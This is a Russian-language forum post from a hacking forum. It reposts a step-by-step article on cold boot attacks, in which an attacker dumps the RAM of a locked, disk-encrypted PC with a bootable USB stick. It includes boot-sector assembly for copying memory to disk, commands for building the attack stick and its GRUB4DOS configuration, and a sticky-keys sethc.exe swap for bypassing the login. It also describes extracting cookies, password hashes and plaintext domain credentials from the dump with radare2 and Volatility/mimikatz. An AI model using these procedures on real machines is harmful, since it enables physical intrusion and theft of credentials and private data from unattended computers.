• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Cold boot attack. Дампим оперативную память с помощью флешки

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Даже если ты заботишься о сохранности своих данных, не клеишь листочки с паролями на монитор, шифруешь жесткий диск и всегда блокируешь комп, прежде чем отлучиться в туалет, это совершенно не означает, что твоя информация в безопасности. Содержимое памяти можно легко сдампить с помощью обычной флешки, и сейчас я подробно расскажу, как это сделать.

Этой статьей мы начинаем серию публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. Мы раскроем простые способы получения несанкционированного доступа к защищенной информации и покажем, как ее оградить от подобных атак.

Представь, что ты вышел поговорить по телефону, перекусить либо просто погулять и оставил свой компьютер или ноутбук без присмотра на 10–15 минут. Возможно, ты сотрудник офиса или студент вуза и у тебя перерыв. При этом ты, как правильный пользователь, заблокировал свой компьютер. У тебя даже зашифрованный HDD или SSD, стойкий пароль на вход в систему, установлены все необходимые обновления. Кажется, что все отлично и твои данные в безопасности. Но так ли это на самом деле?

Давай подумаем. Представим себя в роли потенциального злоумышленника. Первое и самое простое, что мы можем сделать, когда время ограниченно, — это присоединиться к компьютеру напрямую с помощью витой пары. Ведь для этого не нужно даже входить в систему. Так мы получим сетевой канал взаимодействия, который, возможно, позволит взломать компьютер одним из следующих способов:
  • уязвимости (MS17-010, BlueKeep, PrintNightmare);
  • NetBIOS/LLMNR spoofing (Responder);
  • bruteforce (SMB, RDP);
  • MITM (Evilgrade, BDFProxy, MS16-101).
Каждый из перечисленных способов заслуживает отдельного описания, но это не наш случай. Мы считаем, что система достаточно «свежая» и имеет все необходимые обновления, а пароль на вход более‑менее стойкий.

Второе, что мы можем, — перевести машину в спящий режим или гибернацию. Даже в спящем режиме диск не используется, подпитывается только RAM. После этого можно извлечь жесткий диск и подключиться к нему напрямую, например с помощью девайса, изображенного на следующем рисунке.

hdd.jpg

USB-адаптер для прямого доступа к диску
В большинстве случаев этого окажется достаточно. Если бы перед нами был обычный незашифрованный HDD или SSD, мы смогли бы получить доступ ко всем документам и файлам, включая системные, извлечь пароли и так далее. С подобным прямым доступом к диску мы не будем довольствоваться только пассивным чтением информации, а получим возможность изменять данные на нем. Теоретически мы можем сбросить пароль и, вернув диск обратно в комп, успешно войти в пользовательскую сессию через пятикратное нажатие клавиши Shift:
Код:
mount /dev/sdb2 /media/hdd
cp /media/hdd/Windows/System32/cmd.exe /media/hdd/Windows/System32/sethc.exe
Мы не станем развивать данный сценарий, поскольку реализовать его довольно просто, хотя в нем есть свои тонкости. И все‑таки наша цель — это компьютер с зашифрованным диском.

Наконец, третье, что мы можем сделать, — атака холодной перезагрузкой (cold boot attack), которой и посвящена сегодняшняя статья.

Cold boot attack — это широко известный способ получения доступа к RAM, использующий эффект сохранения данных в памяти, который достигается так называемой холодной перезагрузкой — перезагрузкой без использования ПО, или, грубо говоря, аппаратной перезагрузкой.

Почему не программной? При программной перезагрузке закроются все процессы и файлы, смаппленные в RAM, и, возможно, она даже будет принудительно затерта. Вот почему нам так важно сделать перезагрузку самостоятельно, без привлечения операционной системы, сохранив все ценные данные в памяти.

Добиться такой перезагрузки можно, например, следующими способами:
  • аппаратно отключить‑включить питание (очень быстро);
  • выполнить аппаратный reset;
  • вызвать Blue Screen of Death (BSOD).
При использовании каждого из перечисленных способов ОС не успеет или не сможет затереть данные в RAM перед перезагрузкой. Если вставить загрузочную флешку, то управление может перейти уже на нее, и можно будет исполнить загрузочный код, который и считает ту самую незатертую память.

На ноутбуке мы получаем дополнительные проблемы. Во‑первых, только у малой части ноутбуков сейчас есть отдельная кнопка аппаратной перезагрузки. Во‑вторых, современные ноутбуки часто не снабжаются съемными аккумуляторами, так что вынуть аккумулятор на короткое время вряд ли получится. В таком случае можно попробовать вызвать перезагрузку, вставив флешку со специально поврежденной файловой системой, которая искусственно вызовет BSOD.

Скачать и записать на флешку такой образ можно, например, так (подразумевается, что у тебя Linux и установлен Git):
Код:
git clone https://github.com/mtivadar/windows10_ntfs_crash_dos
dd if=tinyntfs of=/dev/sdb
Как поступить, каждый раз приходится решать отдельно, но нужно помнить, что ошибка недопустима, ведь можно потерять данные в RAM. Хотя современная Windows, которая так любит уходить в спящий режим, может нам помочь и вернуть состояние RAM из файла гибернации.

В крайнем случае есть еще вариант: извлечь и охладить планки памяти DRAM/SRAM и перенести их на другую плату, но он технически намного сложнее и реализуется не так быстро, поскольку требует разбирать компьютер, поэтому его мы не рассматриваем. Другое дело — загрузочная флешка: открытый порт USB есть почти везде.

Все необходимые примитивы — это чтение физической памяти и прямая запись на жесткий диск, которые можно взять из следующего кода:
Код:
[org 0x7C00]

 [bits 16]

 resetdisk:

  mov ah, 0x00  ; reset function

  mov dl, 0x00  ; drive

  int 0x13   ; disk int

  jc resetdisk

 getmem:

  mov bx, 0x0000  ; segment

  mov es, bx

  mov bx, 0x8000  ; offset

  ; es:bx = 0x0000:8000

 writedisk:

  mov ah, 0x03  ; write function

  mov al, 0x01  ; sectors

  mov ch, 0x00  ; cylinder

  mov cl, 0x03  ; sector

  mov dh, 0x00  ; head

  mov dl, 0x80  ; drive

  int 0x13   ; disk int

 times 510 - ($ - $$) db 0x00

 db 0x55, 0xAA

 times 8096 db 0xfe
Если скомпилировать и поместить этот код в самое начало любой флешки или диска, то BIOS выполнит его как загрузочный:
Код:
nasm bootcode.asm
qemu-system-i386 -hda bootcode
У компьютера с классическим BIOS загрузочный код выполняется в реальном режиме (16 бит) и доступ к памяти идет по физическому адресу. Адрес читаемой RAM указывается в паре регистров ES:BX. Доступ на запись к жесткому диску или флешке осуществляется при помощи BIOS-прерывания 0x13 (по сути, это что‑то вроде API для BIOS). И в результате выполнения такого кода содержимое 512 байт RAM будет скопировано на сектор HDD. Завернув этот участок кода в цикл, мы, в принципе, можем считать всю RAM целиком.

Не пугайся, никакой код на ассемблере мы больше писать не будем. Уже есть удобный инструмент, который создан специально для этой атаки. И, как ты, возможно, догадался, эксплуатировать cold boot attack мы будем с помощью простой загрузочной флешки.

ПОДГОТОВКА​

Подготовим атакующую загрузочную USB-флешку, которая будет дампить RAM в неразмеченную область. Так файловая система (ФС) флешки не пострадает:
Код:
wget https://github.com/baselsayeh/coldboot-tools/releases/download/2/bios_memimage64.zip
Код:
sudo dd if=grldr.mbr of=/dev/sdb conv=notrunc   # Установка загрузчика GRUB4DOS в MBR
Код:
sudo fdisk /dev/sdb     # Создаем один раздел, не до конца области диска, оставив 4–8 Гбайт
Код:
sudo mkfs.fat /dev/sdb1 # Используем самую простую ФС
Код:
sudo mount /dev/sdb1 /media/usb
Код:
cp grldr menu_sec_part.lst scraper*.bin /media/usb/ # Установка dump RAM

Содержимое конфигурационного файла загрузчика menu_sec_part.lst:
Код:
title Dump the ram (64bit Halt)

map (hd0) (hd1)

map (hd0,1)+1 (hd0)   # Раздел флешки, на который будет сохранен дамп RAM

map --hook

rootnoverify (hd0,0)

chainloader --force --boot-cs=0x7c0 --boot-ip=0x200 (hd1,0)/boot/grub4dos/scraper/scraper64_haltonly.bin # Используем длинный режим, чтобы скопировать больше 4 Гбайт RAM
Эта конфигурация предусматривает, что содержимое RAM будет сохраняться непосредственно в дополнительный раздел на флешке, минуя файловую систему. На самом деле с помощью загрузчика GRUB мы можем создать виртуальный диск из файла. Это дало бы нам в дальнейшем удобный доступ к дампу в виде файла на флешке. Несомненно, это было бы более правильно, но на современных файловых системах не так просто создать нефрагментированный сплошной файл большого размера. На FAT32 файл больше 4 Гбайт вообще не создать, а, например, на NTFS ровно посередине раздела будет расположен служебный MFT, описывающий файлы, и при записи на такой виртуальный диск ты попросту затрешь свою ФС. Так что рекомендую классический вариант с дампом RAM в раздел, а не в файл.

ЭКСПЛУАТАЦИЯ​

Совсем необязательно, чтобы на целевом компе была включена автоматическая загрузка с USB-флешки. Многие версии BIOS поддерживают выбор носителя для загрузки через нажатие клавиши F8 (или аналогичной). Но даже если нет, это по‑прежнему можно сделать через вход в BIOS и изменение настроек в нем.

Сама атака занимает некоторое время и выглядит как простое подключение USB-флешки. И пока пользователь отсутствует, данные из его RAM постепенно утекают на съемный носитель злоумышленника. Демонстрация этой атаки представлена на следующем рисунке.

cold-boot3.jpg

Дамп RAM на флешку в действии

Как только атака будет завершена, точная копия оперативной памяти сохранится во втором разделе нашей флешки (/dev/sdb2). Преобразуем ее в привычный файл для удобства:
Код:
sudo dd if=/dev/sdb2 of=ram.img bs=512 status=progress
У меня получившийся дамп был немного сдвинут — на 0x53000 байт, но это легко исправить:
Код:
truncate -s $[0x53000] pad.img

cat pad.img ram.img > _ram.img
Теперь перед нами та самая оперативная память, что была на момент аппаратного сброса, со всеми лежащими в ней секретами, которые можно легко обнаружить:
Код:
radare2 -n ram.img

/wi cookie:     # Ищем все cookie

/wi passw       # Ищем пароли
Используя сигнатурный подход, то есть зная определенные ключевые слова, такие как Password, Secret или Cookie, мы можем простым поиском по содержимому найти те или иные чувствительные данные. Например, по сигнатурам, которые есть у большинства файлов, можно искать RSA-ключи, возможно — какие‑то фотографии, PDF-документы, архивы и прочее.

На следующем рисунке представлен пример того, что было запущено в системе перед блокировкой компьютера и началом атаки.

cold-boot2.jpg

Состояние ПК перед блокировкой и аппаратным сбросом
А после — на машине атакующего в памяти содержится введенная строка.

cold-boot4.png

Расположение текста с экрана в RAM

Но извлекать данные из RAM по сигнатурам — это далеко не все, что мы можем. В дампе памяти присутствуют еще те самые структуры ОС, которые позволят восстановить хронологию событий в системе перед аппаратным сбросом.

Внимательный читатель заметит, что для реализации такой атаки требуется запустить на целевом компьютере код загрузочной флешки, а это перезапишет некоторые области в памяти. Экспериментально, с помощью побайтового сравнения содержимого RAM виртуальных машин на соответствующих этапах, было выявлено, что разнообразные загрузчики затирают собой не так уж и много памяти.

Вот количество перезаписываемых байтов в RAM на разных этапах загрузки:
  • bootmgr (загрузчик Windows 7, 10) — 5 157 389 байт;
  • GRUB 2 (загрузчик Linux) — 8 219 883 байт;
  • burg (альтернативный загрузчик Linux) — 9 599 333 байт;
  • liveOS для форензики — 171 944 965 байт.
Загрузочный код из Coldboot-Tools для дампа памяти на диск расходует порядка 95 Кбайт памяти. Суммарно вся цепочка GRUB4DOS + scraper64_haltonly.bin перезапишет 820 Кбайт оперативной памяти. В то время как полный объем RAM современных компьютеров измеряется десятками гигабайт.

Тем не менее перезапись даже нескольких мегабайт в неудачном месте может нарушить важные структуры и сделать невозможным восстановление картины состояния ОС. Опытным путем на примере Windows 7 было установлено, что в первых 100 Мбайт RAM содержится не так много данных и только перезапись области 5–15 Мбайт и 105–110 Мбайт разрушает важные структуры данных, нужные для анализа состояния ОС.

На практике же выполняемый дамп памяти посредством GRUB4DOS + scraper64_haltonly.bin все же окажется пригоден для анализа. Все изменения в RAM будут происходить в самом начале, тогда как сама ОС будет размещена после первых 100 Мбайт, что практически исключит вероятность перезаписи. Энтропия дампа показывает общую картину расположения в ней данных и пустот.

cold-boot.png

Энтропия 1 Гбайт RAM, содержащей загруженную Windows
Таким образом, мы расширим простой сигнатурный подход к извлечению секретов из дампа памяти до продвинутого с использованием форензики, который сможет нам многое рассказать о жертве нашей атаки.

ИЗВЛЕКАЕМ СЕКРЕТЫ​

И здесь мы плавно переходим к форензике. Используя известные инструменты, такие как Volatility или Rekall, мы можем получить большой объем данных о состоянии ОС на момент нашего вмешательства. Список процессов — это отличная демонстрация того, что мы на верном пути.

cold-boot5.png

Список процессов в момент аппаратного сброса
Например, мы можем найти расположение файлов реестра в RAM и извлечь оттуда хеши паролей локальных учетных записей.

cold-boot6.png

Извлекаем локальные учетные записи

Подобное можно сделать и для доменных учеток, получая пароли уже открытым текстом:
Код:
vol.py --plugins=/path/to/volatility_plugins/FrancescoPicasso -f ram.img mimikatz
Далее следует список открытых файлов и их содержимое, сетевые соединения, буфер обмена и даже снимок рабочего стола:
Код:
vol.py -f ram.img filescan

vol.py -f ram.img dumpfiles -r '.sqlite' -D files/

vol.py -f ram.img netscan

vol.py -f ram.img clipboard

vol.py -f ram.img screenshot -D .
И так далее... Словом, все как при обычной форензике.

EFI​

У этой атаки есть маленькая особенность — она работает главным образом на компьютерах с классическим BIOS.

На EFI разных производителей опытным путем было установлено, что сразу после перезагрузки при начальной инициализации оборудования случайные байты записываются во всю оперативную память, и это полностью защищает пользователей современных ПК с EFI от покушений со стороны злоумышленников.

Проверить это легко с помощью того же загрузчика GRUB4DOS. Он поддерживает чтение/запись произвольных участков RAM посредством специальных команд. Находим любой адрес в памяти для теста, смотрим его содержимое и запоминаем:
Код:
map --rd-base=0xADDR

map --rd-size=0x200

cat --hex (rd)0x0+1
Перезаписываем, например словом test, и делаем перезагрузку:
Код:
write (rd)0x0+1 test

reboot
Загрузчик GRUB4DOS при перезагрузке не затирает память, так что этот способ идентичен холодной перезагрузке.

Далее проверяем, затер ли EFI нашу память, или же после перезагрузки наши данные в RAM остались нетронутыми. В моем случае память изменилась. Проверялось это на ноутбуках фирм HP и Lenovo. Тем не менее инструмент memory scrapper доступен и для EFI.

ВЫВОДЫ​

Мы увидели, что в RAM все данные открыты и описанная выше атака позволяет обойти полное шифрование диска, да еще и на заблокированном компе! Иными словами, мы смогли атаковать реально защищенный компьютер, который считается эталоном безопасности для стандартных рабочих мест большинства компаний, не говоря уже о простых домашних машинах.

Несмотря на то что компьютеры с классическим BIOS постепенно уходят в прошлое, в корпоративном сегменте, где массовая замена техники стоит больших денег, по‑прежнему можно встретить немало старых системников, за которыми продолжают работать сотрудники. Кроме того, современные материнские платы с EFI всё еще поддерживают старый legacy-режим BIOS, что делает их также уязвимыми к этой атаке.

Автор @s0i37
 
кто шарит за Cold Boot атаки и вообще форензику дампов оперативы - посоветуйте софт для поиска ключей AES/truecrypt/veracrypt/LUKS/etc, пожалуйста.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх